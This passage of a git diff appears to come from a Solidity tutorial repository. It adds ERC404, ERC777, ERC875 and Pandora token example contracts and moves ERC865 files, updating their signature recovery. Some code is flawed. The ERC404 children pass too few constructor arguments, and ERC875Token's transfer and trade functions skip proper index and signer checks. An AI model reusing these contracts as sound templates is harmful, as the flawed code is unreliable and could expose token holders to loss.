+    /// @param _interfaceId ERC165 interface to check.
+    /// @return True if '_contract' implements '_interfaceId', false otherwise.
+    function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
+        uint256 success;
+        uint256 result;
+
+        (success, result) = noThrowCall(_contract, ERC165ID);
+        if (success == 0 || result == 0) {
+            return false;
+        }
+
+        (success, result) = noThrowCall(_contract, INVALID_ID);
+        if (success == 0 || result != 0) {
+            return false;
+        }
+
+        (success, result) = noThrowCall(_contract, _interfaceId);
+        if (success == 1 && result == 1) {
+            return true;
+        }
+        return false;
+    }
+
+    /// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
+    /// @param _interfaceHash The hash to check.
+    /// @return True if '_interfaceHash' is an ERC165 interface (ending with 28 zeroes), false otherwise.
+    function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
+        return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
+    }
+
+    /// @dev Make a call on a contract without throwing if the function does not exist.
+    function noThrowCall(address _contract, bytes4 _interfaceId)
+        internal view returns (uint256 success, uint256 result)
+    {
+        bytes4 erc165ID = ERC165ID;
+
+        assembly {
+            let x := mload(0x40)               // Find empty storage location using "free memory pointer"
+            mstore(x, erc165ID)                // Place signature at beginning of empty storage
+            mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
+
+            success := staticcall(
+                30000,                         // 30k gas
+                _contract,                     // To addr
+                x,                             // Inputs are stored at location x
+                0x24,                          // Inputs are 36 (4 + 32) bytes long
+                x,                             // Store output over input (saves space)
+                0x20                           // Outputs are 32 bytes long
+            )
+
+            result := mload(x)                 // Load the result
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/erc404/ERC404.sol b/basic/23-erc865-and-erc875/contracts/erc404/ERC404.sol
new file mode 100644
index 000000000..54aa6973b
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc404/ERC404.sol
@@ -0,0 +1,398 @@
+//SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+abstract contract Ownable {
+    event OwnershipTransferred(address indexed user, address indexed newOwner);
+
+    error Unauthorized();
+    error InvalidOwner();
+
+    address public owner;
+
+    modifier onlyOwner() virtual {
+        if (msg.sender != owner) revert Unauthorized();
+
+        _;
+    }
+
+    constructor(address _owner) {
+        if (_owner == address(0)) revert InvalidOwner();
+
+        owner = _owner;
+
+        emit OwnershipTransferred(address(0), _owner);
+    }
+
+    function transferOwnership(address _owner) public virtual onlyOwner {
+        if (_owner == address(0)) revert InvalidOwner();
+
+        owner = _owner;
+
+        emit OwnershipTransferred(msg.sender, _owner);
+    }
+
+    function revokeOwnership() public virtual onlyOwner {
+        owner = address(0);
+
+        emit OwnershipTransferred(msg.sender, address(0));
+    }
+}
+
+abstract contract ERC721Receiver {
+    function onERC721Received(
+        address,
+        address,
+        uint256,
+        bytes calldata
+    ) external virtual returns (bytes4) {
+        return ERC721Receiver.onERC721Received.selector;
+    }
+}
+
+/// @notice ERC404
+///         A gas-efficient, mixed ERC20 / ERC721 implementation
+///         with native liquidity and fractionalization.
+///
+///         This is an experimental standard designed to integrate
+///         with pre-existing ERC20 / ERC721 support as smoothly as
+///         possible.
+///
+/// @dev    In order to support full functionality of ERC20 and ERC721
+///         supply assumptions are made that slightly constraint usage.
+///         Ensure decimals are sufficiently large (standard 18 recommended)
+///         as ids are effectively encoded in the lowest range of amounts.
+///
+///         NFTs are spent on ERC20 functions in a FILO queue, this is by
+///         design.
+///
+abstract contract ERC404 is Ownable {
+    // Events
+    event ERC20Transfer(
+        address indexed from,
+        address indexed to,
+        uint256 amount
+    );
+    event Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 amount
+    );
+    event Transfer(
+        address indexed from,
+        address indexed to,
+        uint256 indexed id
+    );
+    event ERC721Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 indexed id
+    );
+    event ApprovalForAll(
+        address indexed owner,
+        address indexed operator,
+        bool approved
+    );
+
+    // Errors
+    error NotFound();
+    error AlreadyExists();
+    error InvalidRecipient();
+    error InvalidSender();
+    error UnsafeRecipient();
+
+    // Metadata
+    /// @dev Token name
+    string public name;
+
+    /// @dev Token symbol
+    string public symbol;
+
+    /// @dev Decimals for fractional representation
+    uint8 public immutable decimals;
+
+    /// @dev Total supply in fractionalized representation
+    uint256 public immutable totalSupply;
+
+    /// @dev Current mint counter, monotonically increasing to ensure accurate ownership
+    uint256 public minted;
+
+    uint256 public ratio;
+
+    // Mappings
+    /// @dev Balance of user in fractional representation
+    mapping(address => uint256) public balanceOf;
+
+    /// @dev Allowance of user in fractional representation
+    mapping(address => mapping(address => uint256)) public allowance;
+
+    /// @dev Approval in native representaion
+    mapping(uint256 => address) public getApproved;
+
+    /// @dev Approval for all in native representation
+    mapping(address => mapping(address => bool)) public isApprovedForAll;
+
+    /// @dev Owner of id in native representation
+    mapping(uint256 => address) internal _ownerOf;
+
+    /// @dev Array of owned ids in native representation
+    mapping(address => uint256[]) internal _owned;
+
+    /// @dev Tracks indices for the _owned mapping
+    mapping(uint256 => uint256) internal _ownedIndex;
+
+    /// @dev Addresses whitelisted from minting / burning for gas savings (pairs, routers, etc)
+    mapping(address => bool) public whitelist;
+
+    // Constructor
+    constructor(
+        string memory _name,
+        string memory _symbol,
+        uint8 _decimals,
+        uint256 _totalNativeSupply,
+        address _owner,
+        uint256 _ratio
+    ) Ownable(_owner) {
+        name = _name;
+        symbol = _symbol;
+        decimals = _decimals;
+        ratio = _ratio;
+        totalSupply = _totalNativeSupply * (10 ** (decimals+_ratio));
+    }
+
+    /// @notice Initialization function to set pairs / etc
+    ///         saving gas by avoiding mint / burn on unnecessary targets
+    function setWhitelist(address target, bool state) public onlyOwner {
+        whitelist[target] = state;
+    }
+
+    /// @notice Function to find owner of a given native token
+    function ownerOf(uint256 id) public view virtual returns (address owner) {
+        owner = _ownerOf[id];
+
+        if (owner == address(0)) {
+            revert NotFound();
+        }
+    }
+
+    /// @notice tokenURI must be implemented by child contract
+    function tokenURI(uint256 id) public view virtual returns (string memory);
+
+    /// @notice Function for token approvals
+    /// @dev This function assumes id / native if amount less than or equal to current max id
+    function approve(
+        address spender,
+        uint256 amountOrId
+    ) public virtual returns (bool) {
+        if (amountOrId <= minted && amountOrId > 0) {
+            address owner = _ownerOf[amountOrId];
+
+            if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {
+                revert Unauthorized();
+            }
+
+            getApproved[amountOrId] = spender;
+
+            emit Approval(owner, spender, amountOrId);
+        } else {
+            allowance[msg.sender][spender] = amountOrId;
+
+            emit Approval(msg.sender, spender, amountOrId);
+        }
+
+        return true;
+    }
+
+    /// @notice Function native approvals
+    function setApprovalForAll(address operator, bool approved) public virtual {
+        isApprovedForAll[msg.sender][operator] = approved;
+
+        emit ApprovalForAll(msg.sender, operator, approved);
+    }
+
+    /// @notice Function for mixed transfers
+    /// @dev This function assumes id / native if amount less than or equal to current max id
+    function transferFrom(
+        address from,
+        address to,
+        uint256 amountOrId
+    ) public virtual {
+        if (amountOrId <= minted) {
+            if (from != _ownerOf[amountOrId]) {
+                revert InvalidSender();
+            }
+
+            if (to == address(0)) {
+                revert InvalidRecipient();
+            }
+
+            if (
+                msg.sender != from &&
+                !isApprovedForAll[from][msg.sender] &&
+                msg.sender != getApproved[amountOrId]
+            ) {
+                revert Unauthorized();
+            }
+
+            balanceOf[from] -= _getUnit();
+
+            unchecked {
+                balanceOf[to] += _getUnit();
+            }
+
+            _ownerOf[amountOrId] = to;
+            delete getApproved[amountOrId];
+
+            // update _owned for sender
+            uint256 updatedId = _owned[from][_owned[from].length - 1];
+            _owned[from][_ownedIndex[amountOrId]] = updatedId;
+            // pop
+            _owned[from].pop();
+            // update index for the moved id
+            _ownedIndex[updatedId] = _ownedIndex[amountOrId];
+            // push token to owned
+            _owned[to].push(amountOrId);
+            // update index for to owned
+            _ownedIndex[amountOrId] = _owned[to].length - 1;
+
+            emit Transfer(from, to, amountOrId);
+            emit ERC20Transfer(from, to, _getUnit());
+        } else {
+            uint256 allowed = allowance[from][msg.sender];
+
+            if (allowed != type(uint256).max)
+                allowance[from][msg.sender] = allowed - amountOrId;
+
+            _transfer(from, to, amountOrId);
+        }
+    }
+
+    /// @notice Function for fractional transfers
+    function transfer(
+        address to,
+        uint256 amount
+    ) public virtual returns (bool) {
+        return _transfer(msg.sender, to, amount);
+    }
+
+    /// @notice Function for native transfers with contract support
+    function safeTransferFrom(
+        address from,
+        address to,
+        uint256 id
+    ) public virtual {
+        transferFrom(from, to, id);
+
+        if (
+            to.code.length != 0 &&
+            ERC721Receiver(to).onERC721Received(msg.sender, from, id, "") !=
+            ERC721Receiver.onERC721Received.selector
+        ) {
+            revert UnsafeRecipient();
+        }
+    }
+
+    /// @notice Function for native transfers with contract support and callback data
+    function safeTransferFrom(
+        address from,
+        address to,
+        uint256 id,
+        bytes calldata data
+    ) public virtual {
+        transferFrom(from, to, id);
+
+        if (
+            to.code.length != 0 &&
+            ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=
+            ERC721Receiver.onERC721Received.selector
+        ) {
+            revert UnsafeRecipient();
+        }
+    }
+
+    /// @notice Internal function for fractional transfers
+    function _transfer(
+        address from,
+        address to,
+        uint256 amount
+    ) internal returns (bool) {
+        uint256 unit = _getUnit();
+        uint256 balanceBeforeSender = balanceOf[from];
+        uint256 balanceBeforeReceiver = balanceOf[to];
+
+        balanceOf[from] -= amount;
+
+        unchecked {
+            balanceOf[to] += amount;
+        }
+
+        // Skip burn for certain addresses to save gas
+        if (!whitelist[from]) {
+            uint256 tokens_to_burn = (balanceBeforeSender / unit) -
+                (balanceOf[from] / unit);
+            for (uint256 i = 0; i < tokens_to_burn; i++) {
+                _burn(from);
+            }
+        }
+
+        // Skip minting for certain addresses to save gas
+        if (!whitelist[to]) {
+            uint256 tokens_to_mint = (balanceOf[to] / unit) -
+                (balanceBeforeReceiver / unit);
+            for (uint256 i = 0; i < tokens_to_mint; i++) {
+                _mint(to);
+            }
+        }
+
+        emit ERC20Transfer(from, to, amount);
+        return true;
+    }
+
+    // Internal utility logic
+    function _getUnit() internal view returns (uint256) {
+        return 10 ** (decimals + ratio);
+    }
+
+    function _mint(address to) internal virtual {
+        if (to == address(0)) {
+            revert InvalidRecipient();
+        }
+
+        unchecked {
+            minted++;
+        }
+
+        uint256 id = minted;
+
+        if (_ownerOf[id] != address(0)) {
+            revert AlreadyExists();
+        }
+
+        _ownerOf[id] = to;
+        _owned[to].push(id);
+        _ownedIndex[id] = _owned[to].length - 1;
+
+        emit Transfer(address(0), to, id);
+    }
+
+    function _burn(address from) internal virtual {
+        if (from == address(0)) {
+            revert InvalidSender();
+        }
+
+        uint256 id = _owned[from][_owned[from].length - 1];
+        _owned[from].pop();
+        delete _ownedIndex[id];
+        delete _ownerOf[id];
+        delete getApproved[id];
+
+        emit Transfer(from, address(0), id);
+    }
+
+    function _setNameSymbol(
+        string memory _name,
+        string memory _symbol
+    ) internal {
+        name = _name;
+        symbol = _symbol;
+    }
+}
diff --git a/basic/23-erc865-and-erc875/contracts/erc404/Example.sol b/basic/23-erc865-and-erc875/contracts/erc404/Example.sol
new file mode 100644
index 000000000..1a40ad5b2
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc404/Example.sol
@@ -0,0 +1,16 @@
+//SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+import {ERC404} from "./ERC404.sol";
+import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
+
+contract Example is ERC404 {
+    constructor(address _owner) ERC404("Example", "EXM", 18, 10_000, _owner) {
+        balanceOf[_owner] = totalSupply;
+        setWhitelist(_owner, true);
+    }
+
+    function tokenURI(uint256 id) public pure override returns (string memory){
+      return string.concat("https://example.com/token/", Strings.toString(id));
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/erc404/Pandora.sol b/basic/23-erc865-and-erc875/contracts/erc404/Pandora.sol
new file mode 100644
index 000000000..e864f5961
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc404/Pandora.sol
@@ -0,0 +1,80 @@
+//SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+import "./ERC404.sol";
+import "@openzeppelin/contracts/utils/Strings.sol";
+
+contract Pandora is ERC404 {
+    string public dataURI;
+    string public baseTokenURI;
+
+    constructor(
+        address _owner
+    ) ERC404("Pandora", "PANDORA", 18, 10000, _owner) {
+        balanceOf[_owner] = 10000 * 10 ** 18;
+    }
+
+    function setDataURI(string memory _dataURI) public onlyOwner {
+        dataURI = _dataURI;
+    }
+
+    function setTokenURI(string memory _tokenURI) public onlyOwner {
+        baseTokenURI = _tokenURI;
+    }
+
+    function setNameSymbol(
+        string memory _name,
+        string memory _symbol
+    ) public onlyOwner {
+        _setNameSymbol(_name, _symbol);
+    }
+
+    function tokenURI(uint256 id) public view override returns (string memory) {
+        if (bytes(baseTokenURI).length > 0) {
+            return string.concat(baseTokenURI, Strings.toString(id));
+        } else {
+            uint8 seed = uint8(bytes1(keccak256(abi.encodePacked(id))));
+            string memory image;
+            string memory color;
+
+            if (seed <= 100) {
+                image = "1.gif";
+                color = "Green";
+            } else if (seed <= 160) {
+                image = "2.gif";
+                color = "Blue";
+            } else if (seed <= 210) {
+                image = "3.gif";
+                color = "Purple";
+            } else if (seed <= 240) {
+                image = "4.gif";
+                color = "Orange";
+            } else if (seed <= 255) {
+                image = "5.gif";
+                color = "Red";
+            }
+
+            string memory jsonPreImage = string.concat(
+                string.concat(
+                    string.concat('{"name": "Pandora #', Strings.toString(id)),
+                    '","description":"A collection of 10,000 Replicants enabled by ERC404, an experimental token standard.","external_url":"https://pandora.build","image":"'
+                ),
+                string.concat(dataURI, image)
+            );
+            string memory jsonPostImage = string.concat(
+                '","attributes":[{"trait_type":"Color","value":"',
+                color
+            );
+            string memory jsonPostTraits = '"}]}';
+
+            return
+                string.concat(
+                    "data:application/json;utf8,",
+                    string.concat(
+                        string.concat(jsonPreImage, jsonPostImage),
+                        jsonPostTraits
+                    )
+                );
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/erc777/Simple777Recipient.sol b/basic/23-erc865-and-erc875/contracts/erc777/Simple777Recipient.sol
new file mode 100644
index 000000000..65ea48df6
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc777/Simple777Recipient.sol
@@ -0,0 +1,55 @@
+// pragma solidity ^0.6.2;
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
+import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
+import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
+
+/**
+ * @title Simple777Recipient
+ * @dev Very simple ERC777 Recipient
+ */
+contract Simple777Recipient is IERC777Recipient {
+    IERC1820Registry private _erc1820 =
+        IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
+    bytes32 private constant TOKENS_RECIPIENT_INTERFACE_HASH =
+        keccak256("ERC777TokensRecipient");
+
+    IERC777 private _token;
+
+    event DoneStuff(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes userData,
+        bytes operatorData
+    );
+
+    constructor(address token) public {
+        _token = IERC777(token);
+
+        _erc1820.setInterfaceImplementer(
+            address(this),
+            TOKENS_RECIPIENT_INTERFACE_HASH,
+            address(this)
+        );
+    }
+
+    function tokensReceived(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes calldata userData,
+        bytes calldata operatorData
+    ) external override {
+        require(
+            msg.sender == address(_token),
+            "Simple777Recipient: Invalid token"
+        );
+
+        // do stuff
+        emit DoneStuff(operator, from, to, amount, userData, operatorData);
+    }
+}
diff --git a/basic/23-erc865-and-erc875/contracts/erc777/Simple777Sender.sol b/basic/23-erc865-and-erc875/contracts/erc777/Simple777Sender.sol
new file mode 100644
index 000000000..167ec47e1
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc777/Simple777Sender.sol
@@ -0,0 +1,38 @@
+// pragma solidity ^0.6.2;
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
+import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
+import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
+
+contract Simple777Sender is IERC777Sender, ERC1820Implementer {
+    // 发送者接口hash
+    // 硬编码 keccak256("ERC777TokensSender") 为了减少 gas
+    bytes32 public constant TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
+
+    event DoneStuff(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes userData,
+        bytes operatorData
+    );
+
+    function senderFor(address account) public {
+        _registerInterfaceForAddress(TOKENS_SENDER_INTERFACE_HASH, account);
+    }
+
+    function tokensToSend(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes calldata userData,
+        bytes calldata operatorData
+    ) external override {
+        // do stuff
+        emit DoneStuff(operator, from, to, amount, userData, operatorData);
+    }
+}
diff --git a/basic/23-erc865-and-erc875/contracts/erc777/Simple777Token.sol b/basic/23-erc865-and-erc875/contracts/erc777/Simple777Token.sol
new file mode 100644
index 000000000..e4593067d
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc777/Simple777Token.sol
@@ -0,0 +1,20 @@
+// pragma solidity ^0.6.2;
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC777/ERC777.sol";
+
+/**
+ * @title Simple777Token
+ * @dev Very simple ERC777 Token example, where all tokens are pre-assigned to the creator.
+ * Note they can later distribute these tokens as they wish using `transfer` and other
+ * `ERC20` or `ERC777` functions.
+ * Based on https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/examples/SimpleToken.sol
+ */
+contract Simple777Token is ERC777 {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+    constructor() public ERC777("Simple777Token", "S7", new address[](0)) {
+        _mint(msg.sender, 10000 * 10**18, "", "");
+    }
+}
diff --git a/Example23-erc865-and-erc875/contracts/DToken.sol b/basic/23-erc865-and-erc875/contracts/erc865/DToken.sol
similarity index 100%
rename from Example23-erc865-and-erc875/contracts/DToken.sol
rename to basic/23-erc865-and-erc875/contracts/erc865/DToken.sol
diff --git a/Example23-erc865-and-erc875/contracts/ECDSA.sol b/basic/23-erc865-and-erc875/contracts/erc865/ECDSA.sol
similarity index 100%
rename from Example23-erc865-and-erc875/contracts/ECDSA.sol
rename to basic/23-erc865-and-erc875/contracts/erc865/ECDSA.sol
diff --git a/Example23-erc865-and-erc875/contracts/ERC20.sol b/basic/23-erc865-and-erc875/contracts/erc865/ERC20.sol
similarity index 100%
rename from Example23-erc865-and-erc875/contracts/ERC20.sol
rename to basic/23-erc865-and-erc875/contracts/erc865/ERC20.sol
diff --git a/Example23-erc865-and-erc875/contracts/ERC865Token.sol b/basic/23-erc865-and-erc875/contracts/erc865/ERC865Token.sol
similarity index 96%
rename from Example23-erc865-and-erc875/contracts/ERC865Token.sol
rename to basic/23-erc865-and-erc875/contracts/erc865/ERC865Token.sol
index 5749688e1..0a076bc83 100644
--- a/Example23-erc865-and-erc875/contracts/ERC865Token.sol
+++ b/basic/23-erc865-and-erc875/contracts/erc865/ERC865Token.sol
@@ -73,7 +73,7 @@ contract ERC865Token is Initializable, ERC20, IERC865 {
         require(_spender != address(0),"Invalid _spender address");
 
         bytes32 hashedParams = getApprovePreSignedHash(address(this), _spender, _value, _fee, _nonce);
-        address from = ECDSA.recover(hashedParams, _signature);
+        address from = ECDSA.recover(ECDSA.toEthSignedMessageHash(hashedParams), _signature);
         require(from != address(0),"Invalid from address recovered");
         bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams));
         require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
@@ -107,7 +107,7 @@ contract ERC865Token is Initializable, ERC20, IERC865 {
         require(_spender != address(0),"Invalid _spender address");
 
         bytes32 hashedParams = getIncreaseAllowancePreSignedHash(address(this), _spender, _addedValue, _fee, _nonce);
-        address from = ECDSA.recover(hashedParams, _signature);
+        address from = ECDSA.recover(ECDSA.toEthSignedMessageHash(hashedParams), _signature);
         require(from != address(0),"Invalid from address recovered");
         bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams));
         require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
@@ -141,7 +141,7 @@ contract ERC865Token is Initializable, ERC20, IERC865 {
         require(_spender != address(0),"Invalid _spender address");
 
         bytes32 hashedParams = getDecreaseAllowancePreSignedHash(address(this), _spender, _subtractedValue, _fee, _nonce);
-        address from = ECDSA.recover(hashedParams, _signature);
+        address from = ECDSA.recover(ECDSA.toEthSignedMessageHash(hashedParams), _signature);
         require(from != address(0),"Invalid from address recovered");
         bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams));
         require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
@@ -179,7 +179,7 @@ contract ERC865Token is Initializable, ERC20, IERC865 {
 
         bytes32 hashedParams = getTransferFromPreSignedHash(address(this), _from, _to, _value, _fee, _nonce);
 
-        address spender = ECDSA.recover(hashedParams, _signature);
+        address spender = ECDSA.recover(ECDSA.toEthSignedMessageHash(hashedParams), _signature);
         require(spender != address(0),"Invalid spender address recovered");
         bytes32 hashedTx = keccak256(abi.encodePacked(spender, hashedParams));
         require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
@@ -318,7 +318,7 @@ contract ERC865Token is Initializable, ERC20, IERC865 {
 
 
     //   address spender = ECDSA.recover(hashedParams, _signature);
-    function getAddressFromSig( bytes _signature, bytes32 hashedParams)  public view returns (address){
+    function getAddressFromSig( bytes _signature, bytes32 hashedParams)  public pure returns (address){
         address signer =  ECDSA.recover(hashedParams, _signature);
 
         return signer;
diff --git a/Example23-erc865-and-erc875/contracts/IERC865.sol b/basic/23-erc865-and-erc875/contracts/erc865/IERC865.sol
similarity index 100%
rename from Example23-erc865-and-erc875/contracts/IERC865.sol
rename to basic/23-erc865-and-erc875/contracts/erc865/IERC865.sol
diff --git a/Example23-erc865-and-erc875/contracts/initializable.sol b/basic/23-erc865-and-erc875/contracts/erc865/initializable.sol
similarity index 100%
rename from Example23-erc865-and-erc875/contracts/initializable.sol
rename to basic/23-erc865-and-erc875/contracts/erc865/initializable.sol
diff --git a/basic/23-erc865-and-erc875/contracts/erc875/ERC875Token.sol b/basic/23-erc865-and-erc875/contracts/erc875/ERC875Token.sol
new file mode 100644
index 000000000..4a9f06c0d
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc875/ERC875Token.sol
@@ -0,0 +1,210 @@
+pragma solidity ^0.4.25;
+
+import "./IERC875.sol";
+
+contract ERC875Token is IERC875 {
+    uint totalTickets;
+    mapping(address => uint256[]) inventory;
+    uint16 ticketIndex = 0; //to track mapping in tickets
+    uint expiryTimeStamp;
+    address owner;   // the address that calls selfdestruct() and takes fees
+    address admin;
+    uint transferFee;
+    uint numOfTransfers = 0;
+    string public name;
+    string public symbol;
+    uint8 public constant decimals = 0; //no decimals as tickets cannot be split
+
+    event Transfer(address indexed _from, address indexed _to, uint256[] tokenIndices);
+    event TransferFrom(address indexed _from, address indexed _to, uint _value);
+
+    modifier adminOnly()
+    {
+        if(msg.sender != admin) revert();
+        else _;
+    }
+
+    function() public { revert(); } //should not send any ether directly
+
+    // example: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15], "MJ comeback", 1603152000, "MJC", "0x007bEe82BDd9e866b2bd114780a47f2261C684E3"
+    function ERC875Token(
+        uint256[] numberOfTokens,
+        string evName,
+        uint expiry,
+        string eventSymbol,
+        address adminAddr) public
+    {
+        totalTickets = numberOfTokens.length;
+        //assign some tickets to event admin
+        expiryTimeStamp = expiry;
+        owner = msg.sender;
+        admin = adminAddr;
+        inventory[admin] = numberOfTokens;
+        symbol = eventSymbol;
+        name = evName;
+    }
+
+    function getDecimals() public pure returns(uint)
+    {
+        return decimals;
+    }
+
+    // price is 1 in the example and the contract address is 0xfFAB5Ce7C012bc942F5CA0cd42c3C2e1AE5F0005
+    // example: 0, [3, 4], 27, "0x2C011885E2D8FF02F813A4CB83EC51E1BFD5A7848B3B3400AE746FB08ADCFBFB", "0x21E80BAD65535DA1D692B4CEE3E740CD3282CCDC0174D4CF1E2F70483A6F4EB2"
+    // price is encoded in the server and the msg.value is added to the message digest,
+    // if the message digest is thus invalid then either the price or something else in the message is invalid
+    function trade(uint256 expiry,
+        uint256[] tokenIndices,
+        uint8 v,
+        bytes32 r,
+        bytes32 s) public payable
+    {
+        //checks expiry timestamp,
+        //if fake timestamp is added then message verification will fail
+        require(expiry > block.timestamp || expiry == 0);
+        //id 1 for mainnet
+        bytes12 prefix = "ERC800-CNID1";
+        bytes32 message = encodeMessage(prefix, msg.value, expiry, tokenIndices);
+        address seller = ecrecover(message, v, r, s);
+
+        for(uint i = 0; i < tokenIndices.length; i++)
+        { // transfer each individual tickets in the ask order
+            uint index = uint(tokenIndices[i]);
+            require((inventory[seller][index] > 0)); // 0 means ticket sold.
+            inventory[msg.sender].push(inventory[seller][index]);
+            inventory[seller][index] = 0; // 0 means ticket sold.
+        }
+        seller.transfer(msg.value);
+    }
+
+    function verify(uint256 expiry,
+        uint256[] tokenIndices,
+        uint8 v,
+        bytes32 r,
+        bytes32 s) public payable
+        {
+            bytes12 prefix = "ERC800-CNID1";
+            bytes32 message = encodeMessage(prefix, msg.value, expiry, tokenIndices);
+            address seller = ecrecover(message, v, r, s);
+        }
+
+
+    //must also sign in the contractAddress
+    //prefix must contain ERC and chain id
+    function encodeMessage(bytes12 prefix, uint value,
+        uint expiry, uint256[] tokenIndices)
+        internal view returns (bytes32)
+    {
+        bytes memory message = new bytes(96 + tokenIndices.length * 2);
+        address contractAddress = getContractAddress();
+        for (uint i = 0; i < 32; i++)
+        {   // convert bytes32 to bytes[32]
+            // this adds the price to the message
+            message[i] = byte(bytes32(value << (8 * i)));
+        }
+
+        for (i = 0; i < 32; i++)
+        {
+            message[i + 32] = byte(bytes32(expiry << (8 * i)));
+        }
+
+        for(i = 0; i < 12; i++)
+        {
+            message[i + 64] = byte(prefix << (8 * i));
+        }
+
+        for(i = 0; i < 20; i++)
+        {
+            message[76 + i] = byte(bytes20(bytes20(contractAddress) << (8 * i)));
+        }
+
+        for (i = 0; i < tokenIndices.length; i++)
+        {
+            // convert int[] to bytes
+            message[96 + i * 2 ] = byte(tokenIndices[i] >> 8);
+            message[96 + i * 2 + 1] = byte(tokenIndices[i]);
+        }
+
+        return keccak256(message);
+    }
+
+    function name() public view returns(string)
+    {
+        return name;
+    }
+
+    function symbol() public view returns(string)
+    {
+        return symbol;
+    }
+
+    function getAmountTransferred() public view returns (uint)
+    {
+        return numOfTransfers;
+    }
+
+    function supportsInterface(bytes4 interfaceID) external view returns (bool)
+    {
+        return false;
+    }
+
+    function isContractExpired() public view returns (bool)
+    {
+        if(block.timestamp > expiryTimeStamp)
+        {
+            return true;
+        }
+        else return false;
+    }
+
+    function balanceOf(address _owner) public view returns (uint256[])
+    {
+        return inventory[_owner];
+    }
+
+    function myBalance() public view returns(uint256[])
+    {
+        return inventory[msg.sender];
+    }
+
+    function transfer(address _to, uint256[] tokenIndices) public
+    {
+        for(uint i = 0; i < tokenIndices.length; i++)
+        {
+            require(inventory[msg.sender][i] != 0);
+            //pushes each element with ordering
+            uint index = uint(tokenIndices[i]);
+            inventory[_to].push(inventory[msg.sender][index]);
+            inventory[msg.sender][index] = 0;
+        }
+    }
+
+    function transferFrom(address _from, address _to, uint256[] tokenIndices)
+        adminOnly public
+    {
+        bool isadmin = msg.sender == admin;
+        for(uint i = 0; i < tokenIndices.length; i++)
+        {
+            require(inventory[_from][i] != 0 || isadmin);
+            //pushes each element with ordering
+            uint index = uint(tokenIndices[i]);
+            inventory[_to].push(inventory[_from][index]);
+            inventory[_from][index] = 0;
+        }
+    }
+
+    function endContract() public
+    {
+        if(msg.sender == owner)
+        {
+            selfdestruct(owner);
+        }
+        else revert();
+    }
+
+    function getContractAddress() public view returns(address)
+    {
+        return this;
+    }
+}
+
diff --git a/basic/23-erc865-and-erc875/contracts/erc875/IERC165.sol b/basic/23-erc865-and-erc875/contracts/erc875/IERC165.sol
new file mode 100644
index 000000000..8e79900a1
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc875/IERC165.sol
@@ -0,0 +1,11 @@
+pragma solidity ^0.4.24;
+
+contract IERC165 {
+    /// @notice Query if a contract implements an interface
+    /// @param interfaceID The interface identifier, as specified in ERC-165
+    /// @dev Interface identification is specified in ERC-165. This function
+    ///  uses less than 30,000 gas.
+    /// @return `true` if the contract implements `interfaceID` and
+    ///  `interfaceID` is not 0xffffffff, `false` otherwise
+    function supportsInterface(bytes4 interfaceID) external view returns (bool);
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/erc875/IERC875.sol b/basic/23-erc865-and-erc875/contracts/erc875/IERC875.sol
new file mode 100644
index 000000000..86088b754
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc875/IERC875.sol
@@ -0,0 +1,18 @@
+pragma solidity ^0.4.25;
+
+import "./IERC165.sol";
+
+contract IERC875  is IERC165 {
+    event Transfer(address indexed _from, address indexed _to, uint256[] tokenIndices);
+
+    function name() constant public returns (string name);
+    function symbol() constant public returns (string symbol);
+    function balanceOf(address _owner) public view returns (uint256[] _balances);
